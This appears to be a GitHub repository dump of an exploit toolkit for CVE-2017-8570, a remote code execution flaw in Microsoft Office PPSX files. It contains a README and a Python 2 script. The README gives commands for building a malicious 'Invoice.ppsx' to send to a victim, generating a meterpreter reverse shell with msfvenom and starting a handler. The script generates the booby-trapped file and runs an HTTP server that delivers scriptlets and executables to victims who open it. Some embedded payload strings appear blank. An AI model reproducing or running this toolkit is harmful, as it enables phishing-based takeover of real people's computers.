├── template.ppsx ├── README.md └── cve-2017-8570_toolkit.py /template.ppsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tezukanice/Office8570/HEAD/template.ppsx -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Office8570 2 | ## Exploit toolkit CVE-2017-8570 - v1.0 3 | 4 | Exploit toolkit CVE-2017-8570 - v1.0 is a handy python script which provides pentesters and security researchers a quick and effective way to exploit Microsoft Office PPSX RCE. It could generate a malicious PPSX file and deliver metasploit / meterpreter / other payload to user without any complex configuration. 5 | 6 | ### Video tutorial (for v1.0) 7 | 8 | https://youtu.be/lSaRS-54kQc 9 | 10 | ### Release note: 11 | 12 | Introduced following capabilities to the script 13 | 14 | - Generate Malicious PPSX file using -M gen argument 15 | - Run script in exploitation mode using -M exp argument 16 | - Deliver custom SCT file ( using -H argument ) 17 | - Deliver remote payload 18 | 19 | Version: Python version 2.7.13 20 | 21 | ### Future release: 22 | 23 | Working on following feature 24 | 25 | - Enhance README.md 26 | 27 | ### Scenario 1: Deliver local payload 28 | ###### Example commands 29 | 1) Generate malicious PPSX file 30 | # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc 31 | 2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler 32 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe 33 | # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run" 34 | 3) Start toolkit in exploit mode to deliver local payload 35 | # python cve-2017-8570_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe 36 | 37 | 38 | ### Scenario 2: Deliver Remote payload 39 | ###### Example commands 40 | 1) Generate malicious PPSX file 41 | # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc 42 | 2) Start toolkit in exploit mode to deliver remote payload 43 | # python cve-2017-8570_toolkit.py -M exp -e http://remoteserver.com/shell.exe 44 | 45 | 46 | ### Scenario 3: Deliver custom SCT file 47 | ###### Example commands 48 | 1) Generate malicious PPSX file 49 | # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc 50 | 2) Start toolkit in exploit mode to deliver custom SCT file 51 | # python cve-2017-8570_toolkit.py -M exp -H /tmp/custom.sct 52 | 53 | 54 | ### Command line arguments: 55 | 56 | # python cve-2017-8570_toolkit.py -h 57 | 58 | This is a handy toolkit to exploit CVE-2017-8570 (Microsoft Office PPSX RCE) 59 | 60 | Modes: 61 | 62 | -M gen Generate Malicious PPSX file only 63 | 64 | Generate malicious PPSX file: 65 | 66 | -w Name of malicious PPSX file (Share this file with victim). 67 | 68 | -u The path to an sct file. Normally, this should be a domain or IP where this tool is running. 69 | For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and will be requested once victim will open malicious PPSX file. 70 | 71 | 72 | -M exp Start exploitation mode 73 | 74 | Exploitation: 75 | 76 | -H Local path of a custom SCT file which needs to be delivered and executed on target. 77 | NOTE: This option will not deliver payloads specified through options "-e" and "-l" 78 | 79 | -p Local port number. 80 | 81 | -e The path of an executable file / meterpreter shell / payload which needs to be executed on target. 82 | 83 | -l If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload. 84 | 85 | 86 | ### Disclaimer 87 | 88 | This program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (bhdresh) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not bhdresh's responsibility. 89 | 90 | ### Credit 91 | 92 | @Haifei Li for presentation slides, @bhdresh 93 | 94 | ### Bug, issues, feature requests 95 | 96 | Obviously, I am not a fulltime developer so expect some hiccups 97 | 98 | Please report bugs, issues through https://github.com/bhdresh/CVE-2017-8570/issues/new 99 | -------------------------------------------------------------------------------- /cve-2017-8570_toolkit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ''' 3 | 4 | ## Exploit toolkit CVE-2017-8570 - v1.0 (https://github.com/bhdresh/CVE-2017-8570) ## 5 | 6 | 7 | 8 | ### Scenario 1: Deliver local payload 9 | 10 | Example commands 11 | 12 | 1) Generate malicious PPSX file 13 | # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc 14 | 2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler 15 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe 16 | # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run" 17 | 3) Start toolkit in exploit mode to deliver local payload 18 | # python cve-2017-8570_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe 19 | 20 | ### Scenario 2: Deliver Remote payload 21 | 22 | Example commands 23 | 24 | 1) Generate malicious PPSX file 25 | # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc 26 | 2) Start toolkit in exploit mode to deliver remote payload 27 | # python cve-2017-8570_toolkit.py -M exp -e http://remoteserver.com/shell.exe 28 | 29 | 30 | Scenario 3: Deliver custom SCT file 31 | 32 | Example commands 33 | 34 | 1) Generate malicious PPSX file 35 | # python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc 36 | 2) Start toolkit in exploit mode to deliver custom SCT file 37 | # python cve-2017-8570_toolkit.py -M exp -H /tmp/custom.sct 38 | 39 | 40 | ### Command line arguments: 41 | 42 | # python cve-2017-8570_toolkit.py -h 43 | 44 | This is a handy toolkit to exploit CVE-2017-8570 (Microsoft Office PPSX RCE) 45 | 46 | Modes: 47 | 48 | -M gen Generate Malicious PPSX file only 49 | 50 | Generate malicious PPSX file: 51 | 52 | -w Name of malicious PPSX file (Share this file with victim). 53 | 54 | -u The path to an SCT file. Normally, this should be a domain or IP where this tool is running. 55 | 56 | For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and 57 | 58 | will be requested once victim will open malicious PPSX file. 59 | 60 | 61 | 62 | -M exp Start exploitation mode 63 | 64 | Exploitation: 65 | 66 | -H Local path of a custom SCT file which needs to be delivered and executed on target. 67 | NOTE: This option will not deliver payloads specified through options "-e" and "-l". 68 | 69 | -p Local port number. 70 | 71 | -e The path of an executable file / meterpreter shell / payload which needs to be executed on target. 72 | 73 | -l If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload. 74 | 75 | 76 | ''' 77 | 78 | import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile 79 | from random import randint 80 | from random import choice 81 | from string import ascii_uppercase 82 | from zipfile import ZipFile, ZIP_STORED, ZipInfo 83 | 84 | 85 | BACKLOG = 50 # how many pending connections queue will hold 86 | MAX_DATA_RECV = 999999 # max number of bytes we receive at once 87 | DEBUG = True # set to True to see the debug msgs 88 | def main(argv): 89 | # Host and Port information 90 | global port 91 | global host 92 | global filename 93 | global docuri 94 | global payloadurl 95 | global payloadlocation 96 | global customsct 97 | global mode 98 | global obfuscate 99 | filename = '' 100 | docuri = '' 101 | payloadurl = '' 102 | payloadlocation = '' 103 | customsct = '' 104 | port = int("80") 105 | host = '' 106 | mode = '' 107 | obfuscate = int("0") 108 | # Capture command line arguments 109 | try: 110 | opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","customsct=","obfuscate="]) 111 | except getopt.GetoptError: 112 | print 'Usage: python '+sys.argv[0]+' -h' 113 | sys.exit(2) 114 | for opt, arg in opts: 115 | if opt == '-h': 116 | print "\nThis is a handy toolkit to exploit CVE-2017-8570 (Microsoft Word PPSX RCE)\n" 117 | print "Modes:\n" 118 | print " -M gen Generate Malicious PPSX file only\n" 119 | print " Generate malicious PPSX file:\n" 120 | print " -w Name of malicious PPSX file (Share this file with victim).\n" 121 | print " -u The path to an SCT file. Normally, this should be a domain or IP where this tool is running.\n" 122 | print " For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and\n" 123 | print " will be requested once victim will open malicious PPSX file.\n" 124 | print " -M exp Start exploitation mode\n" 125 | print " Exploitation:\n" 126 | print " -H Local path of a custom SCT file which needs to be delivered and executed on target.\n" 127 | print " NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n" 128 | print " -p Local port number.\n" 129 | print " -e The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n" 130 | print " -l If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n" 131 | sys.exit() 132 | elif opt in ("-M","--mode"): 133 | mode = arg 134 | elif opt in ("-w", "--filename"): 135 | filename = arg 136 | elif opt in ("-u", "--docuri"): 137 | docuri = arg 138 | elif opt in ("-p", "--port"): 139 | port = int(arg) 140 | elif opt in ("-e", "--payloadurl"): 141 | payloadurl = arg 142 | elif opt in ("-l", "--payloadlocation"): 143 | payloadlocation = arg 144 | elif opt in ("-H","--customsct"): 145 | customsct = arg 146 | if "gen" in mode: 147 | if (len(filename)<1): 148 | print 'Usage: python '+sys.argv[0]+' -h' 149 | sys.exit() 150 | if (len(docuri)<1): 151 | print 'Usage: python '+sys.argv[0]+' -h' 152 | sys.exit() 153 | generate_exploit_ppsx() 154 | mode = 'Finished' 155 | if "exp" in mode: 156 | if (len(customsct)>1): 157 | print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect" 158 | exploitation() 159 | sys.exit() 160 | if (len(payloadurl)<1): 161 | print 'Usage: python '+sys.argv[0]+' -h' 162 | sys.exit() 163 | if (len(payloadurl)>1 and len(payloadlocation)<1): 164 | print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect" 165 | exploitation() 166 | sys.exit() 167 | print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect" 168 | exploitation() 169 | mode = 'Finished' 170 | if not "Finished" in mode: 171 | print 'Usage: python '+sys.argv[0]+' -h' 172 | sys.exit() 173 | def generate_exploit_ppsx(): 174 | # Preparing malicious PPSX 175 | shutil.copy2('template/template.ppsx', filename) 176 | class UpdateableZipFile(ZipFile): 177 | """ 178 | Add delete (via remove_file) and update (via writestr and write methods) 179 | To enable update features use UpdateableZipFile with the 'with statement', 180 | Upon __exit__ (if updates were applied) a new zip file will override the exiting one with the updates 181 | """ 182 | 183 | class DeleteMarker(object): 184 | pass 185 | 186 | def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False): 187 | # Init base 188 | super(UpdateableZipFile, self).__init__(file, mode=mode, 189 | compression=compression, 190 | allowZip64=allowZip64) 191 | # track file to override in zip 192 | self._replace = {} 193 | # Whether the with statement was called 194 | self._allow_updates = False 195 | 196 | def writestr(self, zinfo_or_arcname, bytes, compress_type=None): 197 | if isinstance(zinfo_or_arcname, ZipInfo): 198 | name = zinfo_or_arcname.filename 199 | else: 200 | name = zinfo_or_arcname 201 | # If the file exits, and needs to be overridden, 202 | # mark the entry, and create a temp-file for it 203 | # we allow this only if the with statement is used 204 | if self._allow_updates and name in self.namelist(): 205 | temp_file = self._replace[name] = self._replace.get(name, 206 | tempfile.TemporaryFile()) 207 | temp_file.write(bytes) 208 | # Otherwise just act normally 209 | else: 210 | super(UpdateableZipFile, self).writestr(zinfo_or_arcname, 211 | bytes, compress_type=compress_type) 212 | 213 | def write(self, filename, arcname=None, compress_type=None): 214 | arcname = arcname or filename 215 | # If the file exits, and needs to be overridden, 216 | # mark the entry, and create a temp-file for it 217 | # we allow this only if the with statement is used 218 | if self._allow_updates and arcname in self.namelist(): 219 | temp_file = self._replace[arcname] = self._replace.get(arcname, 220 | tempfile.TemporaryFile()) 221 | with open(filename, "rb") as source: 222 | shutil.copyfileobj(source, temp_file) 223 | # Otherwise just act normally 224 | else: 225 | super(UpdateableZipFile, self).write(filename, 226 | arcname=arcname, compress_type=compress_type) 227 | 228 | def __enter__(self): 229 | # Allow updates 230 | self._allow_updates = True 231 | return self 232 | 233 | def __exit__(self, exc_type, exc_val, exc_tb): 234 | # call base to close zip file, organically 235 | try: 236 | super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb) 237 | if len(self._replace) > 0: 238 | self._rebuild_zip() 239 | finally: 240 | # In case rebuild zip failed, 241 | # be sure to still release all the temp files 242 | self._close_all_temp_files() 243 | self._allow_updates = False 244 | 245 | def _close_all_temp_files(self): 246 | for temp_file in self._replace.itervalues(): 247 | if hasattr(temp_file, 'close'): 248 | temp_file.close() 249 | 250 | def remove_file(self, path): 251 | self._replace[path] = self.DeleteMarker() 252 | 253 | def _rebuild_zip(self): 254 | tempdir = tempfile.mkdtemp() 255 | try: 256 | temp_zip_path = os.path.join(tempdir, 'new.zip') 257 | with ZipFile(self.filename, 'r') as zip_read: 258 | # Create new zip with assigned properties 259 | with ZipFile(temp_zip_path, 'w', compression=self.compression, 260 | allowZip64=self._allowZip64) as zip_write: 261 | for item in zip_read.infolist(): 262 | # Check if the file should be replaced / or deleted 263 | replacement = self._replace.get(item.filename, None) 264 | # If marked for deletion, do not copy file to new zipfile 265 | if isinstance(replacement, self.DeleteMarker): 266 | del self._replace[item.filename] 267 | continue 268 | # If marked for replacement, copy temp_file, instead of old file 269 | elif replacement is not None: 270 | del self._replace[item.filename] 271 | # Write replacement to archive, 272 | # and then close it (deleting the temp file) 273 | replacement.seek(0) 274 | data = replacement.read() 275 | replacement.close() 276 | else: 277 | data = zip_read.read(item.filename) 278 | zip_write.writestr(item, data) 279 | # Override the archive with the updated one 280 | shutil.move(temp_zip_path, self.filename) 281 | finally: 282 | shutil.rmtree(tempdir) 283 | 284 | with UpdateableZipFile(filename, "a") as o: 285 | o.writestr("ppt/slides/_rels/slide1.xml.rels", "\ 286 | ") 287 | print "Generated "+filename+" successfully" 288 | 289 | def exploitation(): 290 | 291 | print "Server Running on ",host,":",port 292 | 293 | try: 294 | # create a socket 295 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 296 | 297 | # associate the socket to host and port 298 | s.bind((host, port)) 299 | 300 | # listenning 301 | s.listen(BACKLOG) 302 | 303 | except socket.error, (value, message): 304 | if s: 305 | s.close() 306 | print "Could not open socket:", message 307 | sys.exit(1) 308 | 309 | # get the connection from client 310 | while 1: 311 | conn, client_addr = s.accept() 312 | 313 | # create a thread to handle request 314 | thread.start_new_thread(server_thread, (conn, client_addr)) 315 | 316 | s.close() 317 | 318 | def server_thread(conn, client_addr): 319 | 320 | # get the request from browser 321 | try: 322 | request = conn.recv(MAX_DATA_RECV) 323 | if (len(request) > 0): 324 | # parse the first line 325 | first_line = request.split('\n')[0] 326 | 327 | # get method 328 | method = first_line.split(' ')[0] 329 | # get url 330 | try: 331 | url = first_line.split(' ')[1] 332 | except IndexError: 333 | print "Invalid request from "+client_addr[0] 334 | conn.close() 335 | sys.exit(1) 336 | # check if custom SCT flag is set 337 | if (len(customsct)>1): 338 | print "Received request for custom SCT from "+client_addr[0] 339 | try: 340 | size = os.path.getsize(customsct) 341 | except OSError: 342 | print "Unable to read custom SCT file - "+customsct 343 | conn.close() 344 | sys.exit(1) 345 | data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n" 346 | with open(customsct) as fin: 347 | data +=fin.read() 348 | conn.send(data) 349 | conn.close() 350 | sys.exit(1) 351 | conn.close() 352 | sys.exit(1) 353 | check_exe_request = url.find('.exe') 354 | if (check_exe_request > 0): 355 | print "Received request for payload from "+client_addr[0] 356 | try: 357 | size = os.path.getsize(payloadlocation) 358 | except OSError: 359 | print "Unable to read"+payloadlocation 360 | conn.close() 361 | sys.exit(1) 362 | data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n" 363 | with open(payloadlocation) as fin: 364 | data +=fin.read() 365 | conn.send(data) 366 | conn.close() 367 | sys.exit(1) 368 | if method in ['GET', 'get']: 369 | print "Received GET method from "+client_addr[0] 370 | data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" 371 | conn.send(data) 372 | conn.close() 373 | sys.exit(1) 374 | except socket.error, ex: 375 | print ex 376 | if __name__ == '__main__': 377 | main(sys.argv[1:]) 378 | --------------------------------------------------------------------------------